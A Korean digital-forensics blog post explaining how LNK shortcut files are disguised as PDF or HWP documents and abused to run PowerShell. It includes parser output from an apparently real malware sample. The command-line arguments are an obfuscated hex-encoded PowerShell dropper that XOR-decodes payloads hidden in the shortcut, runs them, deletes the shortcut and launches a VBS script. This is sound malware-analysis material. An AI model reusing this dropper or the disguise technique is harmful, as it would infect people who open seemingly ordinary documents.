디지털포렌식/악성코드 공부

LNK 파일

Lhaaan 2024. 1. 23. 14:52

악성코드로 사용되는 LNK 파일


  • LNK 파일 내부에 파워쉘 명령어를 주입해 악성행위를 수행하는 공격이 많이 급증하고 있다. 특히 폴더 설정에 확장자 보기를 해놓지 않으면 LNK 파일에 PDF 파일의 이미지를 입혀 실제 PDF 파일처럼 착각하게 만들 수 있어 사용자의 클릭을 유도하기 때문에 굉장히 위험하다.
  • LNK 파일의 바로가기 대상에 파워쉘 명령어를 넣어 악성행위를 수행할 수 있으며, 공백을 길게 넣어 어떤 명령어가 있는지 안보이게끔 설정해서 공격을 수행하기도 한다.
  • 백그라운드에서 추가적인 Shellcode를 내려받는 bat 파일을 생성 후 실행하기도 하며, 추가적인 악성 코드를 다운로드 받는 행위도 수행하는 것으로 확인된다.

 

LNK 파일의 구조


LNK 파일 대상

  • 여기서는 LNK 파일의 구조에 대해 깊게 설명하진 않을 것이다. 어떤식으로 LNK파일 내부에 데이터를 삽입해 사용하는지 확인하는 정도로만 설명하겠다.
  • 보통 바로가기 파일은 대상 칸에 실제 파일의 경로가 들어가 있는 것을 볼 수 있다. 해당 바로가기 파일을 클릭할 경우 저 대상에 적혀있는 파일이 열리게 되는 것이다.

 

 

  • 간단하게 LNK Parser를 통해 확인해보자. LNK Parser는 github에서 쉽게 찾을 수 있으며 참고란에 링크를 달아놓았습니다.
  • 구조에 대해 상세히 다루진 않을 것이기 때문에 간단하게 link_info 영역만 살펴보자.
    • local_base_path에 실제 pdf 파일의 경로가 담겨져 있는 것을 알 수 있다.
"link_info": {
        "common_path_suffix": "",
        "link_info_flags": 1,
        "local_base_path": "C:\\Users\\******\\Downloads\\IBK Bank Tech.pdf",
        "location": "Local",
        "location_info": {
            "drive_serial_number": "0x******",
            "drive_type": "DRIVE_FIXED",
            "r_drive_type": 3,
            "volume_label": ""
        }

 

악성코드로 사용

  • 대상 칸 활용
    • 위에서 보았던 대상 칸에 파워쉘 스크립트나 악성 bat파일로 명령어나 경로를 지정해놓는다면 악성코드로서 사용이 가능할것이다.
    • CMD 창이 실행되게 경로를 한번 지정해보자.
      • 경로: C:\Windows\System32\cmd.exe
    • 바로 cmd창이 켜지는 것을 확인할 수 있다. 지금은 이미지가 cmd로 바뀌었지만 만약 pdf파일로 변경한다면 악성코드로서 쉽게 악용할 수 있다.
     

  • StringData 영역 활용
    • 실제로 LNK 파일 악성코드 샘플들을 분석해보면 StringData 영역에 파워쉘 코드를 주입해 사용하는 것을 볼 수 있다.
      • StringData영역에 대한 자세한 설명은 docs를 참고하길 바랍니다. 링크는 참고란에 넣어놓았습니다.
    • 한가지 예제를 들어 확인해 보면 밑에 코드는 실제 악성코드를 LNK Parser를 통해 추출해낸 정보들이다. command_line_arguments에 파워쉘 코드가 담겨있는 것을 확인할 수 있다. 이처럼 파워쉘 스크립트를 주입하여 악성행위를 수행한다.
    • 최근에는 StringData영역 뿐만 아니라 extra 영역에 데이터를 삽입하여 악성행위를 수행한다고 알려져 있다.
{
    "data": {
        "command_line_arguments": "  /c TaQcWieyVzmoZZLspqMFAIGfQCwRStErTKXqjOUIVUdBSWTecLuDBhkQkmObtXUpETGqvVSKrVZpjsAFtSErgAVQbyuEuatgyCsPkuFuAOSqUKkeGChhVJvmZBPqQpKMJuGPzmEGJdFiABHzgthU||goto&p^ow^e^rs^he^l
^l -windowstyle hidden $dedicte=\"$loped='245A524D797547734D4E64644A203D204765742D4C6F636174696F6E3B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E
6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B6966282441485A6D7853435065696550564D4765552E6C656E677468202D6571
203029207B245A524D797547734D4E64644A203D2024656E763A54656D703B2441485A6D7853435065696550564D476555203D204765742D4368696C644974656D202D5061746820245A524D797547734D4E64644A202D52656375727365202A2E6C6E6B207C2077686572652D6F626A65637420
7B245F2E6C656E677468202D6571202D6B5A524D792D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B245A524D797547734D4E64644A203D2053706C69742D50617468202441485A6D7853435065696550564D4765553B247154
464679496B62565952203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D282441485A6D7853435065696550564D4765552C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A
52656164293B247154464679496B625659522E5365656B282D7547734D4E642D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2476476A777770706A5459786E634A614F203D204E65772D4F626A65637420627974655B5D202D644A4441485A6D2D3B247154
464679496B625659522E52656164282476476A777770706A5459786E634A614F2C20302C202D644A4441485A6D2D293B24567148454F5476434870735871646663203D202441485A6D7853435065696550564D4765552E737562737472696E6728302C2441485A6D7853435065696550564D4765
552E6C656E6774682D34293B666F722824693D303B2469202D6C74202476476A777770706A5459786E634A614F2E636F756E743B24692B2B29207B202476476A777770706A5459786E634A614F5B24695D203D202476476A777770706A5459786E634A614F5B24695D202D62786F722030783737
207D2073632024567148454F5476434870735871646663202476476A777770706A5459786E634A614F202D456E636F64696E6720427974653B262024567148454F54764348707358716466633B247154464679496B625659522E5365656B282D78534350656965502D2C205B53797374656D2E49
4F2E5365656B4F726967696E5D3A3A426567696E293B24644E50744C676C6E4B5851427276613D4E65772D4F626A65637420627974655B5D202D564D476555507154462D3B247154464679496B625659522E526561642824644E50744C676C6E4B5851427276612C20302C202D564D4765555071
54462D293B247154464679496B625659522E436C6F736528293B52656D6F76652D4974656D202D50617468202441485A6D7853435065696550564D476555202D466F7263653B2456544F4E484345546863723D24656E763A7075626C6963202B20275C27202B20272D4679496B625659526D762D
273B666F722824693D303B2469202D6C742024644E50744C676C6E4B5851427276612E636F756E743B24692B2B29207B2024644E50744C676C6E4B5851427276615B24695D203D2024644E50744C676C6E4B5851427276615B24695D202D62786F722030783737207D7363202456544F4E484345
546863722024644E50744C676C6E4B585142727661202D456E636F64696E6720427974653B24524C55684C546571415441734474716F49203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2445706845594A57766D79744B77203D2024524C55684C54
6571415441734474716F492E4E616D657370616365282456544F4E48434554686372293B24524C55684C546571415441734474716F492E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282445706845594A5776
6D79744B772E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D70617468202456544F4E48434554686372202D666F7263653B244F70757562635558546A3D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E76627327
3B2620244F70757562635558546A3B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-kZRMy-', 
'0x0002C186';$hoikd = $hoikd -replace '-uGsMNd-', '0x00003C22';$hoikd = $hoikd -replace '-dJDAHZm-', '0x00014000';$hoikd = $hoikd -replace '-xSCPeieP-', '0x00017C22';$hoikd = $hoikd -replace '-VMGeUPqTF-', '0x00014564';$hoikd = $hoikd -replace '-FyIkbVYRmv-', '20676.zip';Invoke-Expression $hoikd;\";Invoke-Expression $dedicte;",
        "description": "hwp File",
        "icon_location": ".hwp"
    },
    "extra": {
        "ENVIRONMENTAL_VARIABLES_LOCATION_BLOCK": {
            "size": 788,
            "target_ansi": "%windir%\\system32\\cmd.exe",
            "target_unicode": "%windir%\\system32\\cmd.exe"
        }
    },
    "header": {
        "accessed_time": null,
        "creation_time": null,
        "file_flags": [],
        "file_size": 0,
        "guid": "00021401-0000-0000-C000-000000000046",
        "hotkey": "UNSET - UNSET {0x0000}",
        "icon_index": 0,
        "link_flags": [
            "HasName",
            "HasArguments",
            "HasIconLocation",
            "IsUnicode",
            "HasExpString",
            "PreferEnvironmentPath"
        ],
        "modified_time": null,
        "r_file_flags": 0,
        "r_hotkey": 0,
        "r_link_flags": 33555172,
        "windowstyle": "SW_SHOWMINNOACTIVE"
    },
    "link_info": {}
}

 

참고


 

'디지털포렌식 > 악성코드 공부' 카테고리의 다른 글

Log4Shell(Log4j) 취약점  (1) 2024.02.01
CHM (Compiled HTML Help)  (0) 2024.01.25
HTA(HTML application)  (1) 2024.01.24